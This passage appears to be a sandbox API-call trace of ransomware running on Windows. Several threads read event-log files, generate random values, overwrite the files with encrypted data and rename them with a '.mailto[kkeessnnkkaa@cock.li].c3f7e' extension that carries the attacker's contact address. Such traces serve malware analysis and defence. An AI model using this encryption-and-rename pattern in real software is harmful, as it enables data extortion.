	[0087.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dda900) returned 1
	[0087.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d618) returned 1
	[0087.814] NtQueryInformationFile (in: FileHandle=0x9cc, IoStatusBlock=0x10bbfbc0, FileInformation=0x10bbfb98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10bbfbc0, FileInformation=0x10bbfb98) returned 0x0
	[0087.814] NtSetInformationFile (FileHandle=0x9cc, IoStatusBlock=0x10bbfbc0, FileInformation=0x10bbfb98, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986710) returned 1
	[0087.815] FlushFileBuffers (hFile=0x9cc) returned 1
	[0093.045] CloseHandle (hObject=0x9cc) 

Thread:
	id = 407
	os_tid = 0x1584

	[0076.948] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0081.655] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.666] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1438
	[0081.671] GetFileSizeEx (in: hFile=0x1438, lpFileSize=0x10c3fa0c | out: lpFileSize=0x10c3fa0c*=69632) returned 1
	[0081.671] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.671] ReadFile (in: hFile=0x1438, lpBuffer=0x10c3f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10c3f98c, lpOverlapped=0x0 | out: lpBuffer=0x10c3f990*, lpNumberOfBytesRead=0x10c3f98c*=0x4, lpOverlapped=0x0) returned 1
	[0081.676] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.676] NtQuerySystemTime (in: CurrentTime=0x10c3f96c | out: CurrentTime=0x10c3f96c*=132251868084057379) returned 0x0
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x5a0b213d
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x26f6d0b
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xdd8d4368
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xf5ede146
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x22c1046c
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x969b3981
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x467932a
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xf791414
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xab676e43
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xe804a864
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xc75795ed
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x5c28124b
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x705a565a
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xe2a4bd2a
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x545b34a7
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xd45aefda
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x4419c608
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x7affed5d
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xf00acec0
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x643d53f9
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x97d8adc0
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x69c5aa1
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x8a8b79a4
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x202550f
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x6c44fcb0
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xbdcd48f5
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xf9c8b1c9
	[0081.676] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x555b5c73
	[0081.677] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xe301367e
	[0081.677] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x2ff0bd6e
	[0081.677] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0x536958ec
	[0081.677] RtlRandom (in: Seed=0x10c3f978 | out: Seed=0x10c3f978) returned 0xcf6024ac
	[0081.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0081.685] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.685] ReadFile (in: hFile=0x1438, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10c3f94c, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x10c3f94c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.686] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0081.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4914058
	[0081.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.688] WriteFile (in: hFile=0x1438, lpBuffer=0x4914058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10c3f94c, lpOverlapped=0x0 | out: lpBuffer=0x4914058*, lpNumberOfBytesWritten=0x10c3f94c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4914058) returned 1
	[0081.703] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0081.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4780b88
	[0081.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4780570
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a50
	[0081.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a50) returned 1
	[0081.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.704] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13f) returned 0x2e02570
	[0081.704] SetFilePointerEx (in: hFile=0x1438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.704] WriteFile (in: hFile=0x1438, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x10c3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x10c3f9cc*=0x13f, lpOverlapped=0x0) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780b88) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5d2a8
	[0081.709] wcscpy (in: _Dest=0x2d5d2a8, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx"
	[0081.709] wcscat (in: _Dest=0x2d5d2a8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.709] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10c3f984, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cb350
	[0081.709] NtSetInformationFile (FileHandle=0x1438, IoStatusBlock=0x10c3f97c, FileInformation=0x47cb350, Length=0xbc, FileInformationClass=0xa) returned 0x0
	[0087.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb350) returned 1
	[0087.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb988) returned 1
	[0087.790] NtQueryInformationFile (in: FileHandle=0x1438, IoStatusBlock=0x10c3f990, FileInformation=0x10c3f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10c3f990, FileInformation=0x10c3f968) returned 0x0
	[0087.790] NtSetInformationFile (FileHandle=0x1438, IoStatusBlock=0x10c3f990, FileInformation=0x10c3f968, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d2a8) returned 1
	[0087.802] FlushFileBuffers (hFile=0x1438) returned 1
	[0092.919] CloseHandle (hObject=0x1438) 

Thread:
	id = 408
	os_tid = 0x1588

	[0076.949] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0080.454] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.454] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0080.454] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0x10cbf9c4 | out: lpFileSize=0x10cbf9c4*=69632) returned 1
	[0080.454] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.454] ReadFile (in: hFile=0x9b4, lpBuffer=0x10cbf948, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10cbf944, lpOverlapped=0x0 | out: lpBuffer=0x10cbf948*, lpNumberOfBytesRead=0x10cbf944*=0x4, lpOverlapped=0x0) returned 1
	[0080.692] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0080.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34578
	[0080.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.692] NtQuerySystemTime (in: CurrentTime=0x10cbf924 | out: CurrentTime=0x10cbf924*=132251868074268513) returned 0x0
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xd3b5cb8c
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x4403295b
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xe737a6b
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xadefb5d5
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x770d94f0
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x595a05b1
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xab58a71b
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x9be2632a
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x3f1da7e
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x4781e20c
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xdb52d2e9
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xf0fecacd
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xa38b586
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xecd1c1b6
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x9721f63
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x3cd4a9ee
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xda720a4a
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x74bc146c
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x2e90274b
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x129a660
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xaabb6b1d
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x568da449
	[0080.692] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x43230559
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x5a40f245
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x75ba25f7
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x35dfdea1
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xe5de2c08
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x3b5ce68a
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0xbd2906e7
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x225a7431
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x4fad71a0
	[0080.693] RtlRandom (in: Seed=0x10cbf930 | out: Seed=0x10cbf930) returned 0x4eaac98d
	[0080.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34398
	[0080.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.702] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34280
	[0080.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0080.702] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea48a8
	[0080.704] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.704] ReadFile (in: hFile=0x9b4, lpBuffer=0x4ea48a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10cbf904, lpOverlapped=0x0 | out: lpBuffer=0x4ea48a8*, lpNumberOfBytesRead=0x10cbf904*=0xc800, lpOverlapped=0x0) returned 1
	[0081.046] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa7c0
	[0081.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0081.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e8b898
	[0081.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0081.047] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa7c0) returned 1
	[0081.047] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e8b898*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10cbf904, lpOverlapped=0x0 | out: lpBuffer=0x4e8b898*, lpNumberOfBytesWritten=0x10cbf904*=0xc800, lpOverlapped=0x0) returned 1
	[0081.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e8b898) returned 1
	[0081.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea48a8) returned 1
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4780b88
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa898
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0081.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4780778
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f50
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0081.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0081.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x141) returned 0x2d865b8
	[0081.205] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.205] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d865b8*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x10cbf984, lpOverlapped=0x0 | out: lpBuffer=0x2d865b8*, lpNumberOfBytesWritten=0x10cbf984*=0x141, lpOverlapped=0x0) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865b8) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780778) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780b88) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34398) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34280) returned 1
	[0081.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5dae8
	[0081.307] wcscpy (in: _Dest=0x2d5dae8, _Source="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx"
	[0081.307] wcscat (in: _Dest=0x2d5dae8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.307] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10cbf93c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476c860
	[0081.307] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0x10cbf934, FileInformation=0x476c860, Length=0xbe, FileInformationClass=0xa) returned 0x0
	[0087.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c860) returned 1
	[0087.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb310) returned 1
	[0087.758] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0x10cbf948, FileInformation=0x10cbf920, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10cbf948, FileInformation=0x10cbf920) returned 0x0
	[0087.758] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0x10cbf948, FileInformation=0x10cbf920, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.761] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dae8) returned 1
	[0087.761] FlushFileBuffers (hFile=0x9b4) returned 1
	[0092.860] CloseHandle (hObject=0x9b4) 

Thread:
	id = 409
	os_tid = 0x158c

	[0076.950] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0080.455] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.455] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9ac
	[0080.456] GetFileSizeEx (in: hFile=0x9ac, lpFileSize=0x10d3f9c4 | out: lpFileSize=0x10d3f9c4*=69632) returned 1
